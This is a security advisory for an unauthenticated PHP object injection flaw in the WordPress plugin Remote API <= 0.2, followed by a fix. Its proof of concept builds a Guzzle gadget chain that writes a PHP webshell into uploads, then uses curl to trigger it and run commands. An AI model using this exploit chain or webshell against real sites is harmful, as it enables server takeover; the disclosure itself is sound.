Remote API <= 0.2 – Unauthenticated PHP Object Injection via remote-api Query Parameter | CVE 2026-14602

Description

The plugin does not authenticate a request before deserializing user-supplied input, allowing unauthenticated attackers to inject arbitrary PHP objects, which can lead to remote code execution when a suitable gadget chain is present through another installed plugin.

Proof of Concept

Remote API <= 0.2 registers public query variables and hooks parse_request, so any front-end URL carrying ?remote-api=<payload>&format=json reaches its request handler with no authentication, nonce, or cookie. In Remote_API_Request::verify() (request.php) the handler base64-decodes the remote-api value and calls unserialize() on it BEFORE the HMAC/API-key check:

    $data_raw = base64_decode( substr( $request_string, 0, ... ) );
    $data     = unserialize( $data_raw );   // attacker bytes
    $data_chk = $data['chk'];
    if ( $public_key <> md5(api_key) || hash_hmac(...) <> $data_chk )
        return false;                        // auth check runs AFTER unserialize()

Because PHP runs an injected object's __wakeup/__destruct during unserialize(), a failing HMAC does not prevent the object's magic methods from executing.

Prerequisites:
- Remote API 0.2 active. The plugin requires SECRET_KEY and SECRET_SALT defined in
  wp-config.php (it fatals on load otherwise on PHP 8, so every working install has them).
- For end-to-end RCE, a co-installed plugin that autoloads a usable POP gadget. This
  PoC uses GuzzleHttp\Cookie\FileCookieJar, bundled unmodified in the wp.org plugin
  remote-data-blocks (loads vendor/autoload.php on every request). Many plugins
  bundling Guzzle/Monolog/PHPMailer/dompdf provide equivalent gadgets.

Step 1 - build the serialized gadget (once), using the autoloaded gadget classes,
targeting an uploads path with a webshell as the cookie Value:
  - GuzzleHttp\Cookie\FileCookieJar with private $filename =
    ABSPATH.'wp-content/uploads/rce.php', $storeSessionCookies = true, and a single
    SetCookie whose Value is "<?php system($_GET['c']); ?>" with Expires = 2000000000
    and Discard = false (so shouldPersist() accepts it).
  - payload = base64_encode(serialize(['obj' => $jar, 'chk' => 'x']))

Step 2 - drop the webshell (unauthenticated). Append 1 filler byte to the base64
payload (verify() truncates a trailing byte; use 2 if 1 does not work):
  curl 'https://victim.example/?remote-api=<BASE64_PAYLOAD>A&format=json'
  => HTTP 200 (normal home page) while __destruct -> save() -> file_put_contents()
     writes wp-content/uploads/rce.php

Step 3 - execute code (unauthenticated):
  curl 'https://victim.example/wp-content/uploads/rce.php?c=id'
  => the response embeds the command output, confirming code execution as the
     web-server user.

Fix: verify the HMAC over the raw bytes before calling unserialize(), or use
json_decode(); if object deserialization is unavoidable, use
unserialize($x, ['allowed_classes' => false]).